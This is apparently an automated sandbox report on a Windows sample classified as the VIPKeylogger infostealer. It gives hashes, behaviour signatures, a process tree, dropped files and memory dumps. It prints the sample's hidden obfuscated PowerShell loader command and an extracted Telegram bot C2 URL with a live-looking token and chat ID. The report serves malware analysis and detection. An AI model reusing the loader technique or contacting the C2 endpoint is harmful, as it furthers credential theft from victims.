Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-12-2024 10:26

General

  • Target

    Technonomic.exe

  • Size

    759KB

  • MD5

    c174a412be6f74c3323ae8d6d4737086

  • SHA1

    c703daa5df8c281206a8d85b582b8a1b729748f5

  • SHA256

    bb71b94948e6929047bde8df94c187fbb6f2cc0119a0c386f84b9ea144aabd67

  • SHA512

    9f2b95174fd1283964ea61e6dbe07c450ed0a01aad6b3852c43ef6811a92878f0f123dfbc1f88b2cf05479a94af098591bd579f3c3581521819f3b12d20dfa42

  • SSDEEP

    12288:iDGZKmormA1bzZN13qv776npUyBsIpxBFmgI2uSb+zKikGOfj8UvbjSM+LLWwvpf:gmor/1/Z877oS8sEx/PI//zKNzpbNQLt

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot8179583980:AAG4cdQWaAviOBBhSs3OrT1OX6_IUptNQv8/sendMessage?chat_id=6070006284

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Technonomic.exe
    "C:\Users\Admin\AppData\Local\Temp\Technonomic.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4276
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Spookological=gc -raw 'C:\Users\Admin\AppData\Local\magmaet\clenched\Ifrt.Syd';$Transporterede=$Spookological.SubString(26028,3);.$Transporterede($Spookological) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1348
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4988

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4yotise0.20p.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsw709E.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    1b0e41f60564cccccd71347d01a7c397

    SHA1

    b1bddd97765e9c249ba239e9c95ab32368098e02

    SHA256

    13ebc725f3f236e1914fe5288ad6413798ad99bef38bfe9c8c898181238e8a10

    SHA512

    b6d7925cdff358992b2682cf1485227204ce3868c981c47778dd6da32057a595caa933d8242c8d7090b0c54110d45fa8f935a1b4eec1e318d89cc0e44b115785

  • C:\Users\Admin\AppData\Local\magmaet\clenched\Ifrt.Syd

    Filesize

    68KB

    MD5

    976eb0849970c5cb55573f0e7353c3ea

    SHA1

    4de6ac2dbc2c6426577a0d0a00e5cdc67a063f83

    SHA256

    e9bee48a708248f9ca1407265d0f8ff57d6fb50b77875a4a540cb653762f882b

    SHA512

    1fae421a9f2f06f0b96b5f6e6127e656406ed31a89e93fd0d21d130e46f1317b6771336e3d46f2596c3010a98134a6b842d807333fe31e41de25ffad47bfd593

  • C:\Users\Admin\AppData\Local\magmaet\clenched\Retableredes.Ter

    Filesize

    313KB

    MD5

    a9dc6d94fdb2c6592b4832c3f06ca195

    SHA1

    89d856bd799a41348f5dbe6667a8223561ca1572

    SHA256

    523e1b41aa618625328eab0ed0de332ec4078dded26ee1753180f4e45db84c38

    SHA512

    f84d597a69e1d8130cbb97f2343983abc1525f1f33b9021c90d7e6b9952d61fe697050b32b7eb4ec13bab11df3211da4da9e20b4f3b4e0d38227a61afa0e5a01

  • C:\Windows\Resources\unthick.ini

    Filesize

    33B

    MD5

    e23f52386361095bdb7040b09e2216ae

    SHA1

    91f31dd82ab80140db621b6dce0b9b5d6b568723

    SHA256

    36467321184a76e0fea592d2896856a37ec18fc8480de66f05d719d93b39d070

    SHA512

    19d18de54b3466f0d283271786b3b308c3be07f21174c46563c4c16292716c52f2c1b85f416ed77143ea6847bfc4c4c37f22296948eac47499276b181f129b9c

  • memory/1348-158-0x00000000733DE000-0x00000000733DF000-memory.dmp

    Filesize

    4KB

  • memory/1348-159-0x0000000002F40000-0x0000000002F76000-memory.dmp

    Filesize

    216KB

  • memory/1348-161-0x00000000056D0000-0x0000000005CF8000-memory.dmp

    Filesize

    6.2MB

  • memory/1348-160-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-162-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-163-0x0000000005530000-0x0000000005552000-memory.dmp

    Filesize

    136KB

  • memory/1348-164-0x0000000005E70000-0x0000000005ED6000-memory.dmp

    Filesize

    408KB

  • memory/1348-165-0x0000000005EE0000-0x0000000005F46000-memory.dmp

    Filesize

    408KB

  • memory/1348-175-0x0000000005F50000-0x00000000062A4000-memory.dmp

    Filesize

    3.3MB

  • memory/1348-176-0x00000000064F0000-0x000000000650E000-memory.dmp

    Filesize

    120KB

  • memory/1348-177-0x0000000006530000-0x000000000657C000-memory.dmp

    Filesize

    304KB

  • memory/1348-178-0x00000000074C0000-0x0000000007556000-memory.dmp

    Filesize

    600KB

  • memory/1348-179-0x0000000006A20000-0x0000000006A3A000-memory.dmp

    Filesize

    104KB

  • memory/1348-180-0x0000000006A80000-0x0000000006AA2000-memory.dmp

    Filesize

    136KB

  • memory/1348-181-0x0000000007B50000-0x00000000080F4000-memory.dmp

    Filesize

    5.6MB

  • memory/1348-183-0x0000000008780000-0x0000000008DFA000-memory.dmp

    Filesize

    6.5MB

  • memory/1348-186-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-196-0x0000000007940000-0x000000000795E000-memory.dmp

    Filesize

    120KB

  • memory/1348-185-0x000000006F850000-0x000000006F89C000-memory.dmp

    Filesize

    304KB

  • memory/1348-184-0x0000000007900000-0x0000000007932000-memory.dmp

    Filesize

    200KB

  • memory/1348-197-0x0000000007970000-0x0000000007A13000-memory.dmp

    Filesize

    652KB

  • memory/1348-198-0x0000000007A70000-0x0000000007A7A000-memory.dmp

    Filesize

    40KB

  • memory/1348-199-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-200-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-201-0x0000000007AB0000-0x0000000007AC1000-memory.dmp

    Filesize

    68KB

  • memory/1348-202-0x0000000007AE0000-0x0000000007AEE000-memory.dmp

    Filesize

    56KB

  • memory/1348-203-0x0000000007AF0000-0x0000000007B04000-memory.dmp

    Filesize

    80KB

  • memory/1348-204-0x0000000007B30000-0x0000000007B4A000-memory.dmp

    Filesize

    104KB

  • memory/1348-205-0x0000000007B20000-0x0000000007B28000-memory.dmp

    Filesize

    32KB

  • memory/1348-206-0x0000000008240000-0x000000000826A000-memory.dmp

    Filesize

    168KB

  • memory/1348-207-0x0000000008270000-0x0000000008294000-memory.dmp

    Filesize

    144KB

  • memory/1348-208-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-210-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-212-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-213-0x00000000733DE000-0x00000000733DF000-memory.dmp

    Filesize

    4KB

  • memory/1348-214-0x0000000008E00000-0x000000000E3B3000-memory.dmp

    Filesize

    85.7MB

  • memory/1348-215-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-216-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-217-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-218-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/1348-220-0x00000000733D0000-0x0000000073B80000-memory.dmp

    Filesize

    7.7MB

  • memory/4988-236-0x0000000025150000-0x00000000251EC000-memory.dmp

    Filesize

    624KB

  • memory/4988-233-0x0000000000DD0000-0x0000000002024000-memory.dmp

    Filesize

    18.3MB

  • memory/4988-235-0x0000000000DD0000-0x0000000000E1A000-memory.dmp

    Filesize

    296KB

  • memory/4988-237-0x0000000025D60000-0x0000000025F22000-memory.dmp

    Filesize

    1.8MB

  • memory/4988-238-0x0000000025620000-0x0000000025670000-memory.dmp

    Filesize

    320KB

  • memory/4988-239-0x0000000026460000-0x000000002698C000-memory.dmp

    Filesize

    5.2MB

  • memory/4988-242-0x0000000025F30000-0x0000000025FC2000-memory.dmp

    Filesize

    584KB

  • memory/4988-243-0x0000000022CE0000-0x0000000022CEA000-memory.dmp

    Filesize

    40KB